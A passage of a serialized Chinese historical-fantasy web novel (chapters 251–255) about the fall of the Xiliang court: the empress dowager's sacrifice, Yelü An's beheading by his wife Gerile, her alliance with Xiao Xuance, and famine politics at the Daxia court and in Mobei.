下令让部下蒙伯玉率领三万大军驰援,阻挡萧玄策。 蒙伯玉刚走不到两天,探子来报:“大殿下,大夏镇守漠北的温家军入了我国境内。” “什么?”耶律安瞪大了眼睛:“什么人带兵?” “是温慕阳,十万大军压境,气势汹汹。”探子说。 耶律安摔了茶盏,怒不可遏。 “夫君。”格日勒从外面进来。 耶律安蹙眉:“你怎么来了?” “怕夫君怒而失策。”格日勒过来给耶律安斟茶,让探子退下后,才说:“萧玄策和裴祈安这是联手了,若此时我们分散兵力,就极有可能给海蓝嘉善可乘之机。” 耶律安是看着格日勒:“你是说海蓝嘉善跟他们联手,要瓜分我的兵马,逐个击破?” 格日勒点头:“确实如此。” “那我该怎么办?”耶律安问。 格日勒柔声:“权利攻城,拿下燕京,斩杀海蓝嘉善和其全族,杀佛尔果春,留小皇帝,并且要称臣,保护小皇帝,唯有如此才能让西凉各个部落信服夫君,听从调遣,唯有同仇敌忾,才能把这些人赶出西凉,到那个时候这江山还是夫君的。” 耶律安握住了格日勒的手:“你真是我的福星。” “夫君,夫妻本一体,我会让我的族人混进燕京城,里应外合,燕京城并不难破。”格日勒说。 耶律安终于冷静下来了,点了点头。 “那流火炮终究会用完的,为了能耗尽流火炮,死一些人也是免不得的。”格日勒说。 耶律安拍了拍格日勒的脸蛋:“好。” 燕京城,四门同时被攻打,流火炮的轰鸣声让人胆寒。 皇宫里,已经是太后的佛尔果春脸色凝重:“我们还有多少炮弹了?” “不足二百。”大国师东方文和说。 佛尔果春知道这些远远不够,可也不能坐以待毙,一筹莫展的她在怀疑萧玄策和裴祈安,这两个人说牵制耶律安,给他们撤走的机会,可现如今怎么不见动静? 她哪里知道,燕京城被围得水泄不通,外面的消息根本传递不进来。 “我们若是从神庙撤走,往神女山休养生息呢?”佛尔果春问东方文和和海蓝嘉善。 海蓝嘉善摇头:“很难,只要我们露面,就会被耶律安的人抓到。” “难道就没有破局之法了吗?”佛尔果春看着睡在摇篮里的小皇帝,这么小的孩子有什么用?如今调动兵马受限,燕京城犹如一个孤岛啊。 燕京城里,突然很多人高热,更有流言蜚语,说小皇帝根本不是六皇子的血脉,是海蓝嘉善的计策,谋权篡位的人海蓝嘉善。 各种消息层出不穷,燕京城里的百姓都怕极了,有人带头悄悄从城墙下面挖洞钻出去投奔耶律安,也有人高呼让太后和小皇帝顺从天意,打开城门迎大殿下入皇城。 “我们唯有走了。”佛尔果春说。 最后的流火炮用完,城内护卫军不足一万,哪里是耶律安的对手? 当他们顺着密道离开,兵分两路逃走的时候,神庙大门口,耶律安好整以暇的等着,坐在战车上的他眼看着佛尔果春抱着小皇帝,身后带着几百人的护卫走出神庙,冷笑:“佛尔果春,你以为,我会让你逃走吗?” 第251章 佛尔果春的离间计 佛尔果春抱着怀里的孩子,抬头看耶律安,轻轻地叹了口气:“成王败寇,哀家是西凉的太后,而你是逆臣贼子,就算是杀了哀家又如何?” “你什么意思?”耶律安冷冷的盯着佛尔果春,总觉得哪里不对劲儿,这个人太淡定了,心里隐隐的不安。 佛尔果春打量着那些将士们,缓缓地说道:“你们追随的人,眼里只有皇位,哪里有百姓?西域三十六国攻打西凉,大夏兵马已踏入了西凉境内,你们这些人的家眷、族人,可能正在遭受屠杀,而你们在做什么?在逼宫!在为这个谋逆的贼子当马前卒。” “我西凉建国百年之久,从来都同仇敌忾,何曾同室操戈?先皇被下毒!被刺杀!世人不知真相也就罢了,如今耶律安举兵谋反,是谁不让先皇活,难道还不够一目了然?”佛尔果春脸色肃穆,眼神坚定:“助纣为孽会为西凉的百姓带来无尽的灾难,你们还不悔改,更待何时呢?等到家破人亡,追悔莫及的时候,一切都晚了!” 这些追随耶律安的将士们一个个都面露难过的神情,佛尔果春拔高了声调:“草原上的百姓才是这片土地真正的主人,先皇驾崩,幼主还不足半岁,西凉即将满目疮痍,你们难道不想护着自己的家人平安吗?若耶律安能立刻发兵抵御外敌,幼主退位有何不可?我佛尔果春死不足惜!人这一辈子不过百年,名利富贵都带不走!今日就算我死在这里,也不过是死在了耶律安的贪婪之下!” “死到临头还敢妖言惑众!”耶律安看左右将士们的神色不对,立刻举起长弓,弓弦拉如满月,对准了佛尔果春,没有丝毫犹豫,利箭破风而去。 “太后!” 白音纵身挡在佛尔果春身前,利箭刺穿了心脏,她抬头看着眼前的人:“尔等还不醒悟,成为别人登上皇位的踏脚石,太后已经把最后的一兵一卒都送出去抵抗外敌了!” 佛尔果春抱住白音,眼圈泛红,哽咽的说:“你先走一步,哀家随后就来,我们主仆不会分开的。” 白音想要说话,张开嘴那血就往外涌,死死地抓着佛尔果春的手,轻轻地摇头。 “还不杀了她!这个妖妇死到临头还在挑拨离间!孤拿到传国玉玺立刻发兵,一定会把大夏和西域三十六国的贼人赶出去。”耶律安冷声。 众将士逼近佛尔果春。 佛尔果春跪坐在地上,怀里抱着已气绝身亡的白音,身边护卫犹如盾牌一般把她护在身后。 “你们退下。”佛尔果春说。 护卫不肯。 佛尔果春扬声:“你们是谁家的儿子?谁的父亲?谁的夫君?家里亲人都时时刻刻等着团聚,何必枉死在这里,放下武器,我草原儿郎都是血性汉子,定不会对手无寸铁的人赶尽杀绝,退走离开,回去做平凡的百姓,保护最亲的亲人。” 护卫依旧不肯,一个个眼睛泛红,死死地盯着眼前围过来的人。 佛尔果春轻轻地把白音放在地上,走到这些侍卫前,抽出防身的匕首,转过头对着自己的护卫,厉声:“哀家命令你们放下武器!从此以后解甲归田!若西凉容不下你们,就远走他乡,活着!若违抗哀家的命令,哀家便自戕在尔等面前!” 护卫看着佛尔果春的匕首已经刺破了咽喉处的皮肤,齐刷刷跪下了:“太后!” “好。”佛尔果春转过头,看着耶律安和这些将士们:“他们若非因为护着哀家,是你们的同袍,是战场上能交托后背的兄弟,如今哀家放他们离开,他们手无寸铁,尔等只管冲着哀家来,休要伤他们,可行?” 耶律安不得不佩服佛尔果春的聪明,这个女人就几句话,竟动摇了军心! 他拉弓,三支翎羽箭对准了佛尔果春,没有任何犹豫,三箭齐发。 佛尔果春本就看着他,她没有任何多余的表情,身姿笔直,放下手里的匕首,前胸、咽喉和心脏各中一箭。 所有人都看着佛尔果春,看到她中箭,齐刷刷的回头看还没放下弓的耶律安,刹那间很多人都后悔了,耶律安太狠毒,太后手无缚鸡之力尚且能舍生取义,保护那些护卫,而他明明可以光明正大的杀了佛尔果春,更可以软禁她,西凉必定是他的,可明知道是这样的结局,却还是不肯放她一条生路,这样的人会对他们如何?卸磨杀驴吗? 佛尔果春低下头看着三支箭,缓缓的坐下了:“你们,速速回去各部,护着族人,抵御外敌,不可耽搁啊。” 这话,没有声嘶力竭却如同洪钟大吕,震得这些人头晕目眩。 “恭送太后殡天!” 不知道是谁喊了这么一嗓子,所有的将士们都放下了手里的武器,跪下的姿势让铠甲发出来碰撞的声音,那声音此起彼伏,久久不停。 佛尔果春抬头看着耶律安,嘴角露出一抹笑意。 那笑意在耶律安看来极其刺眼,世上竟然有如此恶毒的人,宁可拼上一条命也要挑拨离间,而他上当了! 环视四周,众将士都跪下了,冲着佛尔果春的方向。 可除了那几个护卫,躺在地上的老嬷嬷白音,哪里有海蓝嘉善和耶律致远的影子! 襁褓在不远处,耶律安下了马车,大步流星的到了襁褓前,手里的宝剑高高举起,还未劈下去的时候,身后众将士几乎异口同声:“剑下留人!” 留人? 耶律安毫不客气的劈开了襁褓,没有惨叫声,没有血迹,劈开的襁褓露出羊绒,带着人皮面具的娃娃而已! “佛尔果春!”耶律安怒火攻心,转身挥剑,佛尔果春的人头飞了起来,一腔热血喷向天空,一阵风吹过,很多将士们的脸上、手上、铠甲上都沾染了血迹。 耶律安提着染血的宝剑,看到那些护着佛尔果春走出神庙的护卫,厉声:“杀!杀!” 喊了好几声,没有一个人动弹的。 他回头看着自己的将士们,冷声:“尔等要抗旨不尊?孤如今是西凉名正言顺的皇帝!成功了!你们可以封侯拜相了啊。” 有人站起身,举起手里的宝剑:“苍鹰部落的兄弟们,我们杀回去,保护我们的家眷和族人!” 一个人站出来,很多人都意识到现在最应做什么,纷纷带着自己的部下翻身上马,回去各自的部落,西凉从这一刻起,再无王朝,只有部落。 耶律安立在神庙外,整个人都麻木了一般。 “佛尔果春的聪明,是你永远难望其项背的。”神庙里,东方文和缓缓地走了出来…… 第252章 你要我,还是要西凉? 耶律安猛地回头,看着走出来的黑袍人:“你不是大国师!” “我怎么就不是了呢?”东方文和摘下了兜帽,露出了真容,面白无须,五官俊朗,那双眼睛里是戏谑,是玩味更是不屑。 耶律安想不起来这个人,尽管觉得很熟悉,握紧手里的宝剑,步步逼近东方文和:“你到底是谁?大国师呢?” “我就是大国师啊。”东方文和笑了:“可惜不是那个为了救你一命,交出了神庙最后底气的人,师父算出你会让西凉分崩离析,可回天乏力,郁郁寡欢而死。” 耶律安脑海里出现很多画面,大国师跟前一直有个小徒弟,大国师曾经提到过,他说:“大殿下,若有朝一日,危及性命的时候啊,去神庙找文和,文和会救你的。” “你是东方文和。”耶律安试探着问。 东方文和笑出声来:“哎哟,没想到你还记得我。” 记得!当然记得! 耶律安抬起宝剑指着东方文和:“为何背叛大国师?为何背叛孤?你知不知道大国师若不是遇到我的母妃,他早就死了!” “这条命,不早就还给你们母子了吗?”东方文和收了笑意,眼里尽是恨意:“你忘记了吧?大国师告诫你一定要远离皇位,因为你会背上尸山血海的罪孽!你当时答应大国师,只需要平安过完这一生,不贪心!但你让格日勒杀了大国师,杀了我的恩师!” 格日勒? 耶律安摇头:“没有!没有!” “格日勒是巫医族的神女,她想要回神庙取走那些杀器,她憎恨西凉朝廷,要为她的族人报仇!耶律安,你去燕京城看看,你的好妻子已经登基了,西凉?你得到了什么?你什么都没得到!” 东方文和说罢,弹开耶律安的宝剑,大步流星的走了。 耶律安茫然的回头看着东方文和的背影,突然巨大的爆炸声传来。 麾下还有的将士们拉着耶律安跑出去好远,耶律安回头看着坍塌的神庙笼罩在浓烟滚滚中,只觉得像是做了一场梦。 “去燕京城。”耶律安说。 他要去验证,他不相信东方文和的话,坐在战车上,总觉得马跑得不够快。 城门就在眼前,戒备森严。 耶律安缓缓地松了口气,守卫都是自己的人,为了区分,他让自己的人都在左手臂上系了白色的缎带。 “开门,大殿下回来了。”手下的将士扬声。 回答他们的是密集犹如雨点一般的翎羽箭。 “护驾!护驾!”盾兵立刻护住了耶律安。 耶律安目眦欲裂,抬头看着城墙上缓缓走出来的女子,那女子一身黑红色的龙袍,头上戴着冕冠,手里持着象征着巫医族的权杖,就那么居高临下的站在城墙之上,微微俯身,就算是看不清容貌,耶律安也能感觉到格日勒眼里的讥讽。 “格日勒,你是我的妻子!”耶律安在战车上起身,大声对城墙上的格日勒喊道:“如今,为何要这般对我?” 格日勒站直了身子,抬头眺望神庙方向,浓烟滚滚后的神庙会成为一片废墟:“耶律安,巫医族曾经是草原上最尊贵的人,巫医族的人为草原上的每一个生命乞求幸福和安康,为所有生病的人或牛羊治疗,巫医族难道不值得被尊敬?” 耶律安厉声:“我答应过你,只要事成,巫医族会像从前那般风光和受人敬仰,而你会成为西凉的皇后!” “皇后?”格日勒笑了,笑声清脆试,但她摇了摇头:“我才不稀罕皇后,屈居与男人之下,要仰仗你的恩泽活着,而你本性贪婪,并非是可信之人,与其把巫医族的命运交给你,倒不如我坐了这江山,这江山不是我格日勒的,是巫医族每个人!耶律安,巫医族不需要你给风光和敬仰,巫医族会成为草原的主人!” “你疯了!”耶律安怕了,他吞了吞口水,语气软了下来:“我们是夫妻,是在天神面前盟誓过的夫妻啊,你如此对我,会让天神发怒的。” “听话,让我入城,我为皇,你为后,可以择最有本事的巫医族人成为大国师。”耶律安轻哄着。 格日勒摇头:“我们的誓约是生死不弃,耶律安,你死了也是我的夫君啥,所以我并不曾尚违背誓约。” “对了,你是怎么杀了佛尔果春的?”格日勒问。 旁边有人小声对她说了神庙前发生的一切。 格日勒点了点头:“那就也让他和佛尔果春一样的死法吧。” “不!不!”耶律安怒吼着。 格日勒转身走了,转身的时候露出身后一个小身影,那身影冲着耶律安抬起手,做了个奇怪的动作后,跟着格日勒离开了。 “囡囡,你说得对,权利从来都不能是别人的恩赐,握在自己手里的生死才是最安全的。”格日勒牵着小囡囡的手。 小囡囡笑了:“女皇陛下,你是最聪慧的女子,若世间女子都如你这般聪慧,还有那些男人什么事呢?” 格日勒停下脚步,蹲下来打量着小囡囡:“可是,我却没有掌管一个国家的本事啊。” “那就利用男人啊,男人嘛,总是自大的认为无所不能,瞧不起女子,多可笑?若是这世间没有女子繁衍生息,那些男人们都没有来到世上的机会。”小囡囡撇了撇嘴儿。 格日勒笑了:“那你说,什么样的男人才有这样的本事呢?” “我义父啊。”小囡囡贼兮兮的趴在格日勒耳边:“我义父到现在还是个棒槌,从来都没亲近过女色,所以姐姐这么美丽,必定能让他甘愿臣服在姐姐的石榴裙下,而且我知道,男人一辈子都不能忘记的人,是他的第一个女人。” 格日勒脸都红了,牵着小囡囡的手往皇宫去。 小囡囡偷偷打量格日勒,说起来,义父用美男计也不吃亏,这个女人嘛,总归是比义父先动心了,男人和女人的相遇,就像是两军对垒,谁先动心,谁就输了。 耶律安的人头飞起来的时候,双眼瞪得圆圆的,不甘和屈辱让他死不瞑目,他怎么都没想明白,格日勒怎么会突然就背叛了自己,到底是什么人让格日勒如此狠毒的舍弃了自己。 皇宫里,格日勒看着走进来的萧玄策。 这个男人犹如天神一般,耶律安跟他比起来,就像是地上的污泥一般。 萧玄策坐在对面的蒲团上。 小囡囡立刻颠颠的跑过去:“义父,您是最最最了不起的男人!” “油腔滑调的,去玩儿。”萧玄策说。 小囡囡出去的时候,冲格日勒挤了挤眼睛。 格日勒的脸就红了。 “你想要的是什么?”萧玄策看着格日勒:“神女山都送给巫医族,而你会成为西域三十六国的王后,可以吗?” “西凉,还在吗?”格日勒问。 萧玄策笑了,伸出手捏着格日勒的下巴:“你要我,还是要西凉?” 第253章 谁是黄雀? 红纱、浴池、氤氲的水汽弥漫成雾。 格日勒伸出莹白的手指顺着萧玄策的是唇一直到喉结处,低语浅笑:“若是让人知道,西域三十六国的共主为了得到巫医族的助力,委屈到以身相许,会不会让你颜面无存呢?” 萧玄策手臂勾着格日勒的腰肢:“若是巫医族的人知道,带领他们走出困境的神女却过不了自己的情关,身为人妇却爱慕另外一个男人,你说会不会让你身败名裂?” 不给格日勒说话的机会,萧玄策俯身而下,水花飞溅时候,格日勒的话都像是碎了一般,语不成调…… 皇城大殿上,格日勒看着自己的族人们,环视一圈也不见一个大臣,微微的勾起唇角:“巫医族的福地在神女山,我们不争这天下,族人们,神女山里有我们的族人,是我们安居乐业的福地,收集所有财富,离开这里。” 没有人反对。 巫医族并不想要这天下。 小囡囡坐在萧玄策的身边,两个人身处西凉皇宫的最高处,皇宫里的人忙忙碌碌,尽收眼底。 “义父,这里会成为您的福地。”小囡囡一脸神棍的模样。 萧玄策转过头,看着小囡囡的目光里都是宠溺:“也会成为囡囡的福地。” “我不要,等义父娶妻,生了弟弟或妹妹,有人陪着义父了,我就要回去陪着娘亲了。”小囡囡认真的说:“娘亲的性子,若我不在她身边,她会吃亏的。” 萧玄策来了兴致:“哦?为何这般说?” 小囡囡眼神有些哀伤,看着远处:“男人一旦掌握了绝对的权利,就会在所有人的恭维声里迷失了,以为天下无不可取之用之,甚至女子亦是如此,只要他们想要,没人会逃出他们的掌心。” 收回目光,小囡囡看着萧玄策:“而女人,少见有这般心思的人,多是遇一人,满心满眼都是他,更多是落了个万念俱寂的下场。” 萧玄策抬起手捏了捏小囡囡的脸蛋:“从最开始,你就对裴祈安不怎么放心,一直都担心你的娘亲会伤心,为他伤心。” “嗯。”小囡囡一幅老气横秋的模样,叹了口气:“人心易变,特别是男人。” 萧玄策笑出声来:“你小小年纪,怎么对男人的感官如此之差?要不这样,囡囡,义父娶了你娘亲,绝不让她伤心,可好?” 小囡囡毫不客气的翻了个白眼儿:“那巫医族的神女怎么办?” “露水情缘,况且我现在并无妻子,他日若能娶了囡囡的娘亲,那必定学大雁,从一而终。”萧玄策笑望着小囡囡。 但他心里清楚,这绝对不是笑谈,姑且不说温令仪身后的温家和宋家,就温令仪对自己的救命之恩,还有这么一个雪玉可爱的女儿,他用一生做酬,能和温令仪白头偕老,还有什么不满足的呢? 小囡囡摇头:“义父和我父亲之间的盟约,不能因为娘亲就毁了,不管是西域三十六国,大夏和西凉,这些百姓都应该过上安居乐业的日子,而不是成为权力的牺牲品。” “可惜。”萧玄策没有再说什么。 他也明白小囡囡的担忧,并且更愿意和裴祈安合作,相安无事的做邻居,若说真为了温令仪就跟裴祈安翻脸,他是不愿意的。 这或许就是自己并没有那么渴求跟温令仪在一起的原因吧。 小囡囡却在心里暗暗的松了口气,萧玄策若敢动心,她可以打赌,这战乱会持续很多很多年,后患无穷。 可萧玄策也不喜欢格日勒,真不知道什么样的女人能让萧玄策动心,自己想要回去娘亲身边的路,还很远啊。 西凉的变化是让不知情的人措手不及的。 特别是罗政。 接到裴祈安的密信,不要阻拦格日勒带领巫医族去神女山? “到底怎回事?”罗政疑惑的把信放在桌案上。 “报!” 罗政抬眸:“说。” 斥侯进了大帐,跪在地上:“报!西凉巨变,耶律安在神庙前杀了佛尔果春,各部落的将士们都做鸟兽散,回护本部落,耶律安被格日勒斩杀在燕京城外。” 罗政震惊的瞪大了眼睛。 “格日勒不争天下,要带着巫医族回神女山。”斥侯缓了口气:“还有西凉一支队伍本想往神女山来,但中途散开了,海蓝嘉善和西凉幼主不知所踪,极有可能见大势已去,藏匿在民间了。” 罗政的手指轻轻地敲打着桌面上的密信,裴祈安让放过格日勒的巫医族,目的就是要把西凉吞下,他抬眸:“召八大副将议事。” 雁门关守将段宏瑞,率领三万人马镇守此处,罗政率领十二万将士们从泾水河南岸开拔,一路往北攻打,准备跟温家军汇合。 温慕阳率领十五万温家军从漠北往南,跟罗政汇合后,西凉半壁江山就会收入囊中。 战报送到京中。 永元帝狂笑不已,谁能想到西凉气势汹汹而来,却灭亡的如此迅速?大夏虽岌岌可危,却反败为胜了。 第二天早朝,让礼部准备祭祖。 朝臣面面相觑,都看罗无咎。 罗无咎低眉顺眼,根本没有任何态度,永元帝的昏庸早就让罗无咎麻木了,这个时候难道不该鼓舞阵前的将士们奋勇杀敌? 祭祖? 呵,真真是拎不清。 不过,朝廷到了今日,往后会怎么样,罗无咎心里再清楚不过了,所以哪里会谏言半句? “皇上。” 新任户部尚书粟宽出列,跪在地上:“皇上,如此劳民伤财,对百姓休养生息不利,战事虽在西凉,可我军将士们在他乡作战,更应多多嘉赏,彰显皇上体恤之恩,而非祭祖。” 永元帝脸色一沉。 粟宽豁出去了:“去岁百姓堪堪果腹,今年也要春耕了,皇上,百姓能安居,国库才能充盈,臣以为,此时最好是让利于民,微臣已上了奏折,请皇上批阅。” 永元帝微微眯起眼睛看着粟宽,他对这些朝臣是不满意的,一个个都跟罗无咎没什么差别,对待他这个皇帝少了敬畏,此风不可助长! “微臣十分钦佩一奇女子,罗大人身边的方姑娘实乃神农转世,请皇上下旨,请方姑娘出山,唯有有能者治世,才可江山永固,世上哪有鬼神之说,子不语怪力乱神,真正能为国分忧的是人,是百姓啊。”粟宽磕头在地。 永元帝抬起手摸了摸手边的茶盏。 罗无咎出列:“皇上,老臣有本要奏。” 粟宽跪在地上,心里直叹气,罗老大人此时说话,是为了保护自己啊。 第254章 帮着裴祈安布局 永元帝看着罗无咎。 什么叫官官相卫?什么叫同气连枝? 如今放眼朝堂上的这些官员,看着都是自己的臣工,实则都听命罗无咎。 粟宽身为户部尚书,能如此跟身为皇帝的自己说话,还不是罗无咎给的胆量,瞅瞅,这不就护上了? 缓缓地收回手,永元帝淡淡的说:“罗爱卿,尽可说。” 罗无咎恭声:“泾水河连年水患,百姓苦不堪言,江南本是大夏的渔民之乡,这几年却连百姓都食不果腹,治理水患是当务之急。” 众臣点头。 永元帝蹙眉:“不说崔家人在治理水患吗?” “正是,崔东昊确实在治理水患,颇有成效,可到底是要靠百姓自发帮忙,朝廷此时不能袖手旁观。”罗无咎说。 永元帝知道罗无咎要掏自己的钱袋子了,可他明明知道国库空虚,哪里有钱? 偏偏这样的话不能说。 每每到了这个时候,他就很想裴祈安,因为只要裴祈安在身边,这些事情都能给出最好的解决法子,哪里能像现在这般,自己要祭祖不让,说劳民伤财,然后在来掏自己的钱袋子,真是一点儿也不体恤自己的不容易呢。 “与其祭祖,粟大人说的没错,不如造福于民,唯有皇上把百姓的事情当做头等大事,百姓才会有奔头,拥护皇上。”罗无咎躬身:“镇国公回京已半年有余,依旧奔走在各地,平民乱,皇上,安内是当务之急啊。” 永元帝良久不语。 朝堂上鸦雀无声。 “罗爱卿,难道孤祭祖,就如此不应该吗?”永元帝语气哀伤,这让所有的朝臣都倒吸了一口冷气,谁敢说祭祖不应该?别说是当今皇上,就是寻常百姓人家,祭祖也是大事,是后世子孙不忘本,不忘祖的孝顺之行。 不给罗无咎说话的机会,永元帝摆了摆手:“退朝。” 唱和太监高声:“退朝--” 朝臣走出金銮殿,罗无咎在门口接了亲随地上来的拐杖,慢慢的往宫门去,他是失望的,不过失望多了,也就不在意了。 如今朝中大臣,除了自己外,六部都是自己回京后,遴选出来的能人,其中户部的粟宽,更是个忧国忧民的直性子,他说的没有错,可在永元帝眼里,这是阻拦他祭祖。 “罗老大人。”粟宽快步过来:“下官想要见一见方姑娘。” 罗无咎摇头:“方姑娘若频频出现,只怕会让那位更心生忌惮,粟宽啊,尽人事听天命。” 粟宽停下脚步,看着罗无咎远去的背影,步履蹒跚,满头银发,那红色的官服罩着枯瘦的身子,如此老人怎么能不敬重。 再回头看看金銮殿,这样的皇上如何能中兴大夏,可怜外面摄政王和温家军为国浴血奋战,罗家曾经的纨绔二少都率军征战,为护大夏安宁,偏偏这位皇帝,打从太子死后,性情大变,后宫再无子嗣,这大夏朝廷该何去何从啊? “粟大人。” 粟宽抬头看跑来的小厮,他认得,是罗大人身边的亲随,微微颔首:“罗老大人有何吩咐?” “老大人让奴才转告粟大人,天下是百姓的天下,我们都是在为百姓做事,切不可被挫了锐气。”小厮行礼告辞。 粟宽往户部去的时候,神色凝重,反复斟酌罗无咎的话。 马车里,他心情十分低落,突然听到吵闹声,撩起帘子往外看,就见一家粮铺外面排着长长的队伍,其中一个衣着粗布衫的男人双目赤红,抓着小伙计的衣领:“昨儿还说糠皮只要五百文,怎么今儿就要一两银?这是天子脚下,你们要饿死我们这些劳苦百姓吗?” 糠皮啊。 百姓现在连糠皮都吃不起了。 粟宽缓缓地靠在马车里的软枕上,双手捂着脸,半天才喃喃自语:“老大人,下官明白了!明白了!” 谁说在朝为官就是为天家做事? 身为户部尚书,他是百姓的户部尚书! 回到户部,粟宽让户部左右侍郎分别往京城周围的村落去,他也换了常服,出了京城,百姓如今糠皮都吃不起,怎么能有粮种?若无粮种,用什么播种?连种子都没有的时候,百姓别说糠皮了,青草都不够吃,这个是京城啊! ***漠北。 温令仪接到了罗少商的书信。 打开书信,温令仪从头看到尾,眉头紧锁。 “阿宁,怎么了?”温夫人这些日子都陪在女儿身边,孕早期总是要吃一些苦头的,身为娘亲的她最了解不过了,心疼却也无可奈何,只能日日过来陪伴。 温令仪把书信递过去:“京城百姓连糠皮都要吃不起了。” 温夫人看了书信,震惊:“怎么会这样?那可是天子脚下,娘到京城这么多年,从来没有经历过这样的事情啊。” “那是好年景,娘亲,京城百姓如今都不如那些远在偏僻地方的百姓好活,手里无田,缸里就什么也没有了,那点银子活命远远不够。”温令仪无奈的摇头。 温夫人继续看书信:“这罗大爷是个有远见的,既然存了粮种,就能让百姓耕种。” “可是要名正言顺的拿出来,朝廷不做声,众合商会也很难。”温令仪揉了揉额角:“真不知道皇上是怎么了,总觉得越来越拎不清了。” 温夫人放下书信:“还能为什么?太子死了后,后继无人。” “也是。”温令仪低声:“残害忠良,鸟尽弓藏,遭遇外敌的时候,又启用被忌惮了多年的老臣,如此行径,谁能心服口服?” “阿宁,慎言。”温夫人柔声。 温令仪研墨提笔,写了两封信,一封信给罗少商,另一封信是让罗少商转交给方静言的。 小囡囡说过,方静言是个很厉害的人,既然在京城束手束脚,那就请到漠北来! “阿宁,这方静言是个什么人?”温夫人问。 温令仪便把方静言的事原原本本的说给了温夫人听。 温夫人啧啧两声:“这世上啊,就不缺有眼无珠的人,既然有这样的奇女子,那就来漠北,你舅父买下了漠北半数的田地,正缺这样的人。” 温令仪眼睛一亮:“母亲,大表哥呢?” “在苍山啊。”温夫人说。 温令仪摇头:“好让大表哥回来一趟,我有更大的事情需要他去做,只要这件事做成了,宋家不单单在漠北,就是在江南也绝对能占有一席之地,纪家再也没机会东山再起了。” “阿宁,你这是有什么好事了?”温夫人笑着说:“还是,在帮着裴祈安布局啊?” 第255章 阿宁不要怪娘,好不好? 温令仪勾了勾唇角:“母亲,如今还分得清吗?温家和裴祈安之间的瓜葛太深,不单单是因为我和裴祈安之间这斩不断,理还乱的纠缠,更有当今天下二分的局势。” “阿宁切不可多心,母亲只是心里不舒坦,裴祈安和你之间的第二个孩子也在腹中孕育了,可裴祈安和你却难以缔结良缘,让这个孩子名正言顺。”温夫人轻轻地拍了拍温令仪的手:“这世上,男人最难依靠,又不得不依靠啊。” 温令仪明白母亲的意思,不关乎天下局势,甚至可以和温家无关,只是为了自己的女儿将来担忧,自己身上发生的事,若换做别人家,只怕早就被最亲的人赐三尺白绫了,说句伤风败俗也不为过。 而她的亲人,理解她的苦衷,更疼惜她的遭遇。 “母亲,温家曾经有从龙之功,可才不足百年就尝遍了各种苦楚。”温令仪苦笑着摇头:“可这世上啊,能置身事外都要有莫大的福气,所以温家再次被卷入了这样权利纷争中,或者说温家是要在这样的权利纷争中博得一席之地,所以才有了如今在漠北的温家。”温令仪说。 温夫人一想到这个,心里就堵得慌,温家从老夫人到她,再到两个儿媳,都是宋家女,正因如此,温家这一路走来的**和表面的风光,唯有身在其中的人才明白个中苦楚,如今辅佐裴祈安是必然,可之后呢? 这染血的荣华富贵! 她是商户女出身,打从嫁到温家,反倒更羡慕商户人的日子,虽然也各有各的不容易,但商户家要担心的不过是盈亏,可仕途上却关乎生死。 “裴祈安可以广开后宫,我可以不要后位,但这天下想要后继有人,那未来的君王得有温家血脉。”温令仪说。 温夫人抬眸凝视着自己的女儿,颤抖着手理她鬓边的发丝:“我的阿宁啊,背负的太多。” “母亲,所以让大表哥往泾河府去协助崔家治理泾水河,是花钱铺路,得名,宋家和温家是打断了骨头都连着筋的关系,日后不论多少年,掌权的人不管对温家也好,还是对宋家也要,都会投鼠忌器。”温令仪说:“眼下是为裴祈安布局,可着眼长远,是在为温家和宋家布局啊。” 温夫人眼圈泛红:“好啦,是娘没见识,都是那点子后宅的心思,委屈了阿宁。” 温令仪轻轻地靠在温夫人的怀里,委屈吗?从来都不觉得,只是重生一回,过得太累,好像没有一天是为自己活的。 当天,温夫人回去了宋家。 打从温家来到漠北,宋家人就也来到了漠北,不过宋家人就算在漠北,两家走动也是不多,倒不是为了避嫌,而是各有各忙的。 宋老夫人年前带着女眷回了中山,那边才是宋家的根基所在,再者宋家女眷第一条就是安于后宅,从不过问外面的事,所以在漠北这边嫁了明月,也就不会多留了。 如今宋家在这边住着的除了大房长子宋玉承外,还有宋玉宪和二房的宋玉栋和宋玉梁,兄弟四人,唯有宋玉承负责苍山里的事,辅佐温家,余下的三兄弟都各有买卖生意,宋玉栋和宋玉梁负责大夏境内的买卖,宋玉宪则负责西凉甚至西域三十六国也有商队。 漠北是宋家对外买卖的一个中转点。 温夫人过来的时候,宋玉承刚好从苍山回来,正在查看这近一年的账目。 身为宋家长子长孙,宋家家主之位是早晚都要落到他头上的,所以但凡有空都会盘账,唯有如此才能让遍布各处的买卖铺子经营情况都了然于胸。 “姑母,您怎么来了?”宋玉承起身迎了温夫人落座,恭敬地行礼后坐下。 温夫人是格外喜欢自己这个侄子的,跟他的本事比起来,一表人才的模样都成了陪衬,当初不是没动心思在自己两个女儿中选一个嫁到宋家,可到底事与愿违,不管是令容还是令仪,都没能如愿,如今看着尚未婚配的侄子,心里那叫一个百味杂陈。 “玉承,令仪收到消息,崔家在泾河府治理水患,正是崔家年轻的这一辈最有可能执掌崔家的崔东昊。”温夫人说。 宋玉承亲自给温夫人斟茶:“姑母,小妹处处都考虑周祥,这次回来漠北城也确实以后这个想法,没想到姑母就来了。” “玉承也觉得这件事可做?”温夫人吃了一惊,她本来还担心宋家并不想掺和太深,如今看来自己的担心是太多余了,难道是老了吗? 宋玉承点头:“宋家虽从商,但商也有高低,若能借乱世之机,成为商贾之首,对宋家来说无疑是长久安宁的基础,只要宋家不出败家子,那么宋家可一直传承下去。” 温夫人叹气:“我还说了阿宁,觉得宋家求稳就好。” “这不怪姑母,是宋家之前对宋家女儿 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这话若是别人说,她会觉得说这样的话是别有用心,可自己的侄儿都这么说,她不得不好好想一想自己到底对女儿的疼爱是不是错的。 回到府里,温夫人本想着立刻来见温令仪,可想到侄儿的话,心里就有些慌,担心令仪其实并不想见到自己,每次母女二人闲聊,自己总是不经意的说一些话,那些话会伤了女儿的心。 前思后想,她起身去了料子,坐下来仔细裁剪出衣样儿,取了针线,都准备好亲自端着针线笸箩往温令仪的院子来。 温令仪在院子里散步,这几日倒是没那么难熬了,但为了掩人耳目,还是不能出去走动,只能在院子里走走。 “阿宁。”温夫人满脸喜色的进门来。 温令仪抬眸,见母亲亲自端着针线笸箩,走过来:“母亲,这是做什么?” “当然是给我的小外孙做衣裳。”温夫人笑着往屋子里去:“对了,回头咱们去外面走一走,这边大大小小有了二十几个庄子了,那些庄子里的人都甘愿为温家做事。” 温令仪停下脚步:“母亲,我能出去吗?” 温夫人回头看着女儿小心翼翼的样子,放下针线笸箩:“是娘错了,娘见识浅,阿宁不要怪娘,好不好?” 第256章 阿宁,高兴吗? 